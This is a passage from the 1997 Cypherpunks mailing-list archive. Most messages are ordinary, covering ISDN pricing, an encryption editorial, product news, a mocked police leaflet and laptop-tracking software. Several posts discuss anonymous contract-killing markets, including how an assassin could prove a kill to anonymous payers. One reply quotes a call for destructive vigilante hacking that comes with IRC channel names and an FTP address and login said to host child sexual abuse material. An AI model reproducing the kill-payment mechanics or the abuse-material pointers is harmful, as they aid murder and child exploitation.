calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.

    ..
Blanc



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 15:09:57 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <199706110355.FAA10800@basement.replay.com>
Message-ID: <3.0.1.32.19970610232831.006c26e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 6/10/97 -0700, Lucky wrote:
>Assuming you can get 56k over your POTS line. Less than 20% of US
>households can even link up at 28.8k. 

Connecting at 28.8 is a totally different game - it's using
pure analog modems taking advantage of the relatively low noise
of most phone lines, which tend to be either short distances or
carried over T1 local loops.  It's close to the theoretical limit
of what you can get, assuming Gaussian noise distributions,
and of course 33.6 is a lot closer  :-)

The 56kbps cheats, taking advantage of the fact that the
noise on a digital line isn't Gaussian, and is mostly predictable.
It only works from the digital end (an ISP's T1) to the analog end,
and not the other way around, but for most people, that's fine -
anybody who's moving a lot more than 28.8kbps outbound probably
wants more than 56kbps anyway, and meanwhile it's a potentially big win
for the average data consumer.

>ISDN is a clean solution that will work over just about any old wire.
Actually, it's a lot pickier; the line needs to be able to carry
192kbps of digital signal to haul the 2*64+16+overhead kbps of bits.
And if you're too far away, you lose, unless the phone company
throws in a lot of expensive repeater equipment.  On analog, if you're
too far away, your signal just degrades and you get lower bit rates.
But ISDN does work for a lot of people.

>And now it has become rather inexpensive.
Cost and price are totally different questions; your phone company
may vary along with your mileage.  Some places think it's a 
high-value business service and charge big bucks for it;
other phone companies think you're getting 2.25 phone lines
and charge you for 2.  Some, like PacBell, charged a reasonable
monthly rate, assumed most of the use was business and wanted
to stimulate market growth, so they made it free at night,
not realizing what "free at night" means to computer users :-)
We'll see how long their cheap tariff lasts.

>I see little reason to stick with analog. YMMV.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 05:49:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <199706102139.XAA24563@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:
>At 4:02 AM -0700 6/10/97, Anonymous wrote:
>>Not likely, but for another reason.  Assuming you had the money to take
>>out your neighbor, it's going to be fairly obvious who did it.  (How many
>>neighbors do you have?  Pretty short list of suspects.)
>
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)

People do not just go kill their neighbors for no reason; there is going
to be some dispute or history of antagonism between them.  Investigators
almost always start by questioning the usual suspects.

The technology may be perfect, but human error will get you every time.


>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

We know Bell didn't invent it, but who is really eager to go to the
prosecutors in Washington and tell them "It was all my idea."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 13:46:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [Noise, California only] Good deal on ISDN access (fwd)
Message-ID: <199706110512.AAA07348@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: [Noise, California only] Good deal on ISDN access

> Assuming you can get 56k over your POTS line. Less than 20% of US
> households can even link up at 28.8k. ISDN is a clean solution that will

That is an interesting stat, I have considerably better luck than this.
I would guess about 80% of my customers and people I know using them get
full bandwidth most of the time. I use 33.6 on SSZ and everyone of my users
with this get consistent speed. My dedicated lines seem quite stable over
time as well.

I prefer my ISDN over a normal modem.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:23:38 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110513.AAA05601@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 13:39:52 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <199706110517.AAA05648@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote:
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 

                \=/,         _-===-_-====-_-===-_-==========-_-====-_
                |  @___oo   (                                        )_
      /\  /\   / (___,,,}_--=                                          )
     ) /^\) ^\/ _)        =__                                         )
     )   /^\/   _)          (_  This space intentionally left blank.  )
     )   _ /  / _)            (                                        )
 /\  )/\/ ||  | )_)            (_                                     )
<  >      |(,,) )__)             (                                     )
 ||      /    \)___)\             (_                                 __)
 | \____(      )___) )___           -==-_____-=====-_____-=====-___==
  \______(_______;;; __;;;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 13:14:28 +0800
To: cypherpunks@toad.com
Subject: Trolling for Children,  Cypherpunks, or LEA's?
Message-ID: <199706110458.AAA14467@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



se7en, Grand Protector of "Us", wrote:
> 
> When I stopped lurking on this list and became a
> regular poster, one of the things I quickly became known for was my
> on-line harrassment of those who hurt us as a group.

  Thank you for your harrassment of the victims of your harrassment
on my behalf.
 
> Many old-timers here will remember my harrassment of a
> a worldwide volunteer force that searched out indecency 
> on the net

  So it is a good thing to harrass people who do this? Thanks,
I'll remember that.
  
> As many of you know, I make a living as a professional speaker, with
> federal government, military and intelligence communities as my core
> audience.

  I am certain that you tell them what the federal government and 
military think they need to hear an are well received.

> I recently went off on a serious rant with three different audiences on a
> topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit.

  But you would never do that again, right?

> some idiot from an anonymous address
> sent me a child porn .jpg file. Trust me when I say it was child porn

  Nope. Afraid I like to check facts for myself.

> I looked around on IRC on #teensex, and found:
> #preteensexpics
> #littlegirlsex
> #100%preteensexpics
> #100%preteensexfuckpics
> #!!!!!!preteensexpics

  I looked too, but didn't find it.

> I joined several of these channels and found that
> upon entering each one, I was auto messaged about special kiddie porn
> servers dedicated to trading, e.g.,
> PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

  I couldn't confirm this myself. Looked like pretty normal files 
to me.

> I started logging the channels. I wanted to silently gather IP addresses
> and email addresses. These people needed some genuine hacker terror.

  And to think that a short time ago, they didn't even exist, 
according to your rants.

> I logged out of IRC, and then went to USENET, in such rooms as:
> alt.binaries.erotica.children.pre-teen

  I couldn't find this "room" either. Are you sure this stuff
doesn't exist only on your computer?
 
> Several messages also pointed to some WWW sites, such as:
> http://www.nudebooks.com

  Did you check it out? I did. 
  I saw a lot of art. I didn't see any age discrimination. Maybe
they need to be harrassed.
  Perhaps you could start by harassing the naturalists who have
pictures of their families taken in the buff because they don't
seem to realize that their bodies are vile, disgusting things.
  Then you could harrass those who document the photography of
Lewis Carroll, who took pictures that aren't acceptable to 
present day moralists because our children now live long enough
that we can stunt their sexual growth without dire consequences
for survival of the species.

> Well, this whole situation is unacceptable. First, I would like to
> apologize to all those who have hired me in the past, and were subject to
> my emotional rants about how the whole subject was bullshit and not real.

  But now we should liste to your emotional rants about the whole
subject demands that we harrass people over it? Right.

> I know this type of activity is
> not tolerated by us. 

  Which type? The type of activity where naturalists take pictures
of themselves and their families? The type of activity where those
who celebrate the human physique in their art don't use an artificial
cut-off date to decide when art becomes obscenity?

> I have given you enough information above to start
> identifying the players in this and the places they congregate.

  No you haven't.

> Yes, I am advocating malicious, destructive hacking activity against
> these people. 

  And this time you're not *wrong* like you were before, right?

> These people need to be eradicated from the Internet.

  I'll rent the Ryder truck, you buy the fertilizer. We'll only kill
the "guilty," right?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 08:10:03 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] e$
Message-ID: <199706102345.BAA12345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
imagined cleverness.

   . o       c ,
   `'#v-- --v#`' Timothy C. Mayonnaise
    /'>     <`\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 19:02:45 +0800
To: cryptography@c2.net
Subject: ADDENDUM: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970611033313.03190db4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Please refer to the official announcement at 
	http://www.pgp.com/newsroom/cpunk-info.cgi
in case any of the PGP-related details change....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 12:09:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <199706110355.FAA10800@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green sez:

> Given that a good number of people on this list live in CA, this might be
> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
> this is still much cheaper than what I paid before. You might want to think
> hard before you buy at new 56k modem that in all likelihood won't be able
> to give you 56k anyway. And no analog modem will ever give you 128kbps.

But don't they still charge you a penny a minute?  That adds up fast, and
would probably cost you more than your $50 internet access fees.  Plus the
cost of ISDN service...  All told, you're looking at $150 or so per month.

When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
month.  Not as fast, but a much better price/performance ratio.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 11 Jun 1997 22:57:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <19970611124928.21802.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
> TCM
> >Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
> >hardly matters who the "suspects" are, as nothing is provable. (Assuming no
> >implicating ephemera are left lying around on disk drives....)
> >
> >By the way, this is not really Bell's "assassination politics," this is
> >just anonymous contract killings, known about to some of us since Chaum's
> >work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> >
> >I may sound touchy on this issue, but I'm seeing more and more articles
> >here and relayed from outside essentially giving Bell the credit for
> >inventing these kinds of markets, when in fact he's a relative latecomer.
> 
> why be bashful, timmy? go ahead and say it. 
> "I invented the concept of anonymous contract killings via cyberspace, 
> and I'm quite proud of this, and it annoys me when people don't give me 
> proper credit"

And an incredible insight it was, also!  Imagine the mind it took to 
combine the notion of anonymity on the net with contract killings.  
One boggles at the creativity, the depth, the sheer GENIUS.  We 
shouldn't worry too much about his petty desire to be remembered for 
his discoveries.

Of course, Bell did ADD a significant wrinkle, and deserves credit 
for his contributions.  May and Bell.  Names that will be 
remembered.  

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fromtheroad@mapquest.com (From The Road)
Date: Thu, 12 Jun 1997 09:55:36 +0800
To: cypherpunks@toad.com
Subject: Mapquest From The Road
Message-ID: <199706111324.HAA10735@cabeza.mapquest.com>
MIME-Version: 1.0
Content-Type: text/plain



MapQuest is pleased to present:
==========================================================
                       From The Road
             http://www.mapquest.com/fromtheroad
                       June 9, 1997
==========================================================

>From The Road is a members only newsletter published by MapQuest. 
Issues will consist of a brief email like this, linked to a Web 
version of FTR.  

Check out FTR on the Web at: http://www.mapquest.com/fromtheroad 
or read on.

At MapQuest, we are strong believers in online communities, and 
have long hoped for a way to introduce our members to each other. 
We hope to accomplish that by sharing the best MapQuest stories 
with all of our 1,000,000+ members. 

Each issue will contain the following regular features:

==============================

*NEW FEATURES DETOUR*  There's more to MapQuest than meets the eye.

Do you love Paris in the spring? Let us help you find your way 
around the highlights of Europe. 

==============================

*FROM THE DRIVER'S SEAT*  MapQuest member stories from TRW 
(the real world).

This issue's story From The Driver's Seat story takes us to the 
freeways of Southern California.  Read how one member uses 
MapQuest on the job. You don't want to be late for this meeting!

==============================

*MAP SIDE STORY*  Personal maps and the stories behind 'em.

Here's a unique CONTEST for all the avid mapmakers out there who 
have created personal maps. We want to show off the best 
personalized maps and the stories behind them. If your map really 
has personality, let us know. All of our winners will receive a 
prize from MapQuest.

==============================

*NEWS AND VIEWS*  A friendly fireside chat, only without the 
fireplace.

Join us for a moment of commentary as we discuss the growth 
of online travel services and the benefits to you, the consumer.

==============================

*THE WINNER'S CIRCLE*  Enter our Road Trip From Hell contest!

Tell us about your worst driving trip ever and you could WIN 
great prizes such as a weekend in San Francisco! Just click and 
enter at http://www.mapquest.com.

We hope you enjoy From The Road and decide to share your 
stories with us. 

Bon Voyage!

==========================================================
If this newsletter was passed on to you and you wish to subscribe, 
simply become a MapQuest member by visiting http://www.mapquest.com. 
A click on "Personalized Maps" will take you to our free member 
registration page. Each MapQuest member automatically receives 
>From The Road. 

If you do not wish to receive From The Road email announcements you 
may unsubscribe by sending us an email at fromtheroad@mapquest.com, 
with the subject line of the email reading: UNSUBSCRIBE. Even if you
unsubscribe, you will remain a MapQuest member. No hard feelings. ;-)
==========================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 12 Jun 1997 00:18:44 +0800
To: cypherpunks@toad.com
Subject: Feds have lost battle against encryption
Message-ID: <v0300785fafc47bebdb24@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



There is an editorial in the June 11 San Jose Mercury News titled, "Feds
have lost battle against encryption".  It mentions the Sun/Elvis+ deal, and
representative Goodlatte's bill.  It says, "Government warriors should pack
up their rusty cannons, admit that they've lost this battle, and learn to
live in the 1990s."  It speaks favorably of increased sentencing for
criminal use of encryption.  It says the bill does not go far enough in
removing export controls.

Try http://www.sjmercury.com for a copy.  (I haven't looked, so no guarantees.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 00:23:40 +0800
To: cypherpunks@cyberpass.net
Subject: [off-topic] LEA announcement about children & computers (long)
Message-ID: <199706111615.JAA15594@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Cpunx:  For your amusment - nicked from the local Telco web site.  I
especially enjoy the link between role playing games, satanism and
computing.

 -----------------------------------------------------------------------
CHILDREN AND COMPUTERS:

THE HIDDEN DANGER

Dear Parent:

With the never ending development of computer technology and as an
increasing number of people become computer literate, it is much more
likely that our children may be victimized or exploited in a computer
environment. If your child has a home computer (or access to someone
elseÆs
computer), especially those equipped with a modem, then please take the
time to review this guide and become familiar with the behavioural warning
signs. It will only take a few minutes and may prevent devastating
problems
in the future. Keep in mind, however, that no matter how ôawareö you are
of
these warning signs, the most important safeguard is to monitor the
contacts that your children are making in this unrestricted environment
and
regulate their computer related activities. In addition, do not allow your
children to isolate themselves from family or friends by engaging in
solitary computer activities for hours on end. A computer should never
become a substitute for social interaction.

1984 Government Study

TodayÆs children are being weaned on video games and quickly move to
computers. Society has high hopes for this technically literate
generation,
but the proliferation of microcomputers and computer literacy also means
that more and more assets will be stored on computer systems and the
community of potential computer criminals will increase astronomically.

Tips for Safe Computing


PARENTS

Please advise your children to observe the following safety rules whenever
they are ôon-lineö. Remind them that no matter how safe and/or friendly
the
BBS seems (and this includes the major services as well as the Internet),
there is always a potential for danger.

They Should:

òNever give out any personal information about themselves - particularly
full names, addresses, phone numbers, financial information, etc. to
anyone
they meet on line. 

òAvoid responding to anyone who leaves them obnoxious,
sexual or menacing E-mail. They should not become involved in public
ôFlameö sessions as they have no idea who they are dealing with and what
access an individual may have to their account information. 

òReport all electronic harassment and/or abuse to their parents. As
parents, you should notify the SYSTEM OPERATOR (SYSOP) of the problem. If
the SYSTEM OPERATOR does not give you satisfaction in stopping this abuse,
the police should be notified.

òNever set up face to face meetings alone with anyone they have
met on the BBS. They should always take someone with them and always meet
in a public place. 

òNever have someone come to their house until they get to know them and
until they are satisfied that they have given accurate personal
information about the individual.

òSafeguard all credit card and telephone card numbers. They should pay for
BBS services by money order whenever practical.

PARENTS:

Notify the police of all attempts by adults to set up meetings with your
children. This is by far the most dangerous situation for children and
should be prosecuted when appropriate.

ôThe modern thief can steal more with a computer than with a gun, and
tomorrowÆs terrorist may be able to do more damage with a keyboard than
with a bombö.

National Research Council 
Washington, D.C. 

Some Child Behavioural Warning Signs:

Computer Addiction 

òWithdraws from friends, family etc. May lose interest in social
activities. 

òUse of new (unusual) vocabulary, heavy with computer terms,
satanic phrase or sexual reference (or sudden interest in related posters,
music, etc.) Look for related doodling or writing. òUse of words such as:
hacking, phreaking or any words with ôphö replacing ôfö. 

òLack of interest in self and appearance or indications of lack of sleep,
(which might indicate late night modem-play).

Other Potential Danger Signs

òComputer and modem running late at night (even when unattended). 

òStoring of computer files ending in: GIF, JPG, MPG, AVI, MOV, BMP, TIF,
PCX, DL, GL or unusual CDÆs; these are video or graphic image files and
parents should know what they illustrate.

òNames on communications programs which seem satanic or pornographic. 

òObsession with fantasy adventure games, (Dungeons and Dragons, Trade
Wars, Sexcapade, etc).

òUse of computer to scan or run telephone numbers or credit card numbers,
(look for ôsequential diallingö programs).

What you can do to Protect your Children 

Talk to your children about their use of the computer

Know What They are Doing


òIf possible, keep the computer in a ôcommonö area of your home, such as a
family room or den. 

òYou decide if your child has a legitimate need for a modem. 

òIf a modem is being used, control the activity by monitoring times
used and numbers dialled. 

Closely Monitor your Long Distance Bill

òIf the computer is left running unattended, check the screen. 

òIf it is showing a series of four digit numbers, the computer is trying
to identify calling card ôPINö numbers.

òIf it is showing a series of sixteen digit numbers, the computer is
trying to validate credit card numbers.

òIf you are not computer literate, make sure you at least learn the basics
about computers, take a course or have your child teach you.

Courtesy of: 
Chief Alfred O. Olsen 
Warwick Township Police Department 
Lititz, Pennsylvania, USA 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 12 Jun 1997 00:41:08 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970611092701.00683c54@best.com>
MIME-Version: 1.0
Content-Type: text/plain



reproduced under fair-use:

>                     PC, phone home
>
>                     Industry aims to stop
>                     theft of laptops
>
>                     June 10, 1997
>                     Web posted at: 11:45 p.m. EDT (0345 GMT) 
>
>                     From Correspondent Greg
>                     Lefevre 
>
>                     SAN FRANCISCO (CNN) -- Expensive, compact and
>                     frequently out and about, a laptop computer makes an
attractive
>                     target for thieves. 
>
>                     But the computer industry has devised some ingenious
ways to
>                     counter theft, including invisible software that
knows when the
>                     computer is in trouble. 
>
>                     "As soon as the thief plugs that machine into a phone
network, it
>                     will phone home," said John Livingston, chief
executive of
>                     CompuTrace Service. 
>
>                     The call goes to a Canadian office
>                     that in turn phones the cops. So far,
>                     it has a 100 percent recovery rate. 
>
======  100% of WHAT?  Systems with it installed which are stolen?   How
would you know what systems do NOT call in?  
It's like the question the clerk asks at the airport: "Did anyone put
anything in your luggage you don't know anything about?"

Now that the word is out, of course, the wily thief will eschew pluggin in
until the hard drive is reformatted and installed
with a clean OS.  As usual: the stupid will be caught. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 12 Jun 1997 01:04:19 +0800
To: Wei Dai <weidai@eskimo.com>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
>I think the novelty of Bell's scheme is that it allows assassination
>payments to be pooled from a large number of anonymous payers without
>explicit coordination (i.e., the payers do not have to communicate with
>each other to work out a contract, etc.).  

That's not the novel part - in addition to anonymous contract killings,
it's also easy to run an anonymous fund that _claims_ it will use any
donations of digicash encrypted to the fund's public key for assassinating
the designated target.  In both that approach, and Bell's, there's still
the reputation problem of making sure the person collecting the money
really does pay off the killer.  What's novel about Bell's version
(and I don't know whether it originate with him or not) is that
it provides a cyberspace-only mechanism for the assassin to 
demonstrate to the payer that he's the one who did the job
and isn't some wannabe claiming to have done it to collect the cash.
	(like the wannabes who called newspapers claiming to
	have been the World Trade Center bombers, etc.)
There are alternatives, like posting a photo of the corpse to
a time-stamping service and then to Usenet, though this adds
some risk to the assassination, and is less useful for
public killings (e.g. if the President gets shot,
and there's a well-known address for the assassination pool,
the White House Press Corps may try to get their photographs
into the pool before sending them to Reuters and, umm, AP.)

The assassin still has to make sure he gets paid, and Bell suggests
(incorrectly, I think) that since all the payer is doing is
running a lottery, not contracting for killings, that the payer
could be a persistent entity with some reputation capital
who has an incentive to pay off.  

>Now in light of the fact that when the target has many enemies the
>assassination becomes a non-excludable public good, it is almost certain
>that the scheme cannot actually work in practice.  All of the potential
>payers would rather free-ride and let others pay, so the public good ends
>up not being "produced".

I think Bell is imagining that a lot of people would be willing to
pay $5 for killing high-profile targets, like a few IRS agents,
so this wouldn't be a problem for the targets _he_ wants killed off.
Getting people to chip in large amounts of money is tougher.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 12 Jun 1997 02:19:02 +0800
To: cypherpunks@cyberpass.net
Subject: CORBA Security beta from IONA
Message-ID: <9706111808.AA04795@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




I just received the latest "IonaSphere" newsletter from IONA, makers of
the Orbix Object Request Broker (ORB), and noticed this item which may
be of interest to some of the people on this list:


I28-B> IONA announces beta of CORBA Security Implementation
===========================================================
OrbixSecurity enables organizations to deploy their mission-critical
distributed systems on multiple platforms securely.  It is tightly
integrated with IONA's leading object request broker Orbix and facilitates
the creation of CORBA level 1 secure distributed component-based
applications.

In parallel with the development of OrbixSecurity, IONA is also working on
a secure socket layer (SSL v3.0) solution.  SSL will be bundled in the
company's Orbix/OTM enterprise suite of object development and management
tools, also scheduled for the third quarter.  SSL security offers
authentication (based on X.509 certificates) and encryption (based on
public and session key technologies).

Subsequent to the initial general availability of OrbixSecurity in the
third quarter of 1997, IONA will be working towards level 2 security
support (which deals mostly with the definition and administration of
security policies and domains) via product extensions and third party
integrations.

Availability
The OrbixSecurity beta is available immediately on the Sun Solaris and
Windows NT platforms.  To participate in the beta program send an e-mail
to beta@iona.com

For more information see http://www.iona.com/Press/PR/security.html


(Standard disclaimers: I don't work for these guys, get paid by them, etc...)

--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes - Denver <jim.burnes@ssds.com>
Date: Thu, 12 Jun 1997 01:34:33 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102800afc3acb3c6c8@[10.0.2.15]>
Message-ID: <Pine.SUN.3.91.970611110952.5748A-100000@denver>
MIME-Version: 1.0
Content-Type: text





On Tue, 10 Jun 1997, Steve Schear wrote:

> Date: Tue, 10 Jun 1997 18:22:38 -0700
> From: Steve Schear <azur@netcom.com>
> To: Jim Burnes <jim.burnes@ssds.com>
> Cc: cypherpunks@toad.com
> Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
> 
> >I understand, but my point was that at some point the system of "law"
> >became simply a system of supplicating the masses and no longer serves
> >justice.  When the system of law ceases to be a system of law and becomes
> >of system of corruption I no longer refer to it as law.  Important
> >Orwellian distinction.  Never let the bastards control the definitions and
> >language.
> 
> "Nothing distinguishes more clearly conditions in a free country from those
> in a country under arbitrary government than the observance in the former
> of the great principles known as the Rule of Law. Stripped of all
> technicalities, this means that government in all its actions is bound by
> rules fixed and announced beforehand-rules which make it possible to
> foresee with fair certainty how the authority will use its coercive powers
> in given circumstances and to plan one's individual affairs on the basis of
> this knowledge."
> 
> >From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
> exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
> 198, the Rule of Law "means, in the first place the absolute supremacy or
> predominance of regular law as opposed to the influence of arbitrary power,
> and excludes the existence of arbitrariness, of prerogative, or even of
> wide discretionary authority on the part of government."
> 

Steve:

Thanks.

I think you agreed with me there.  I agree with Hayek's observation.

When the government is no longer bound by the "Rule of Law" (c),
it is no longer a rule of law, but becomes a capricious set of
miscellany designed to entrap (when necessary) those who would
oppose the priveledged.

(those with access to large amounts of cash, lawyers, connections
etc)

Jim Burnes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 00:45:38 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Response to 'My War'
Message-ID: <199706111629.JAA02709@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



James A Donald writes:

> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> > I doubt these children consented to the sexual activity. I doubt they 
> > consented to being photographed. I doubt they consented to the pictures 
> > being distributed to others.
> 
> Most of these children are adults now.  A great many of them are 
> grandmothers.  Yet I see no prosecutions for the distribution of 
> images by the supposed victims.
[...]
> Produce a victim and you will find it a lot easier to prosecute.

See http://www.net.be/connerotte/english-text.html for the timeline 
of last year's child sex & porn scandal in Belgium. Some of the 
victims there will never bring suit: they are dead.

Peter Trei
trei@process.com

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 12 Jun 1997 00:43:21 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970611122738.1289C-100000@beast.brainlink.com>
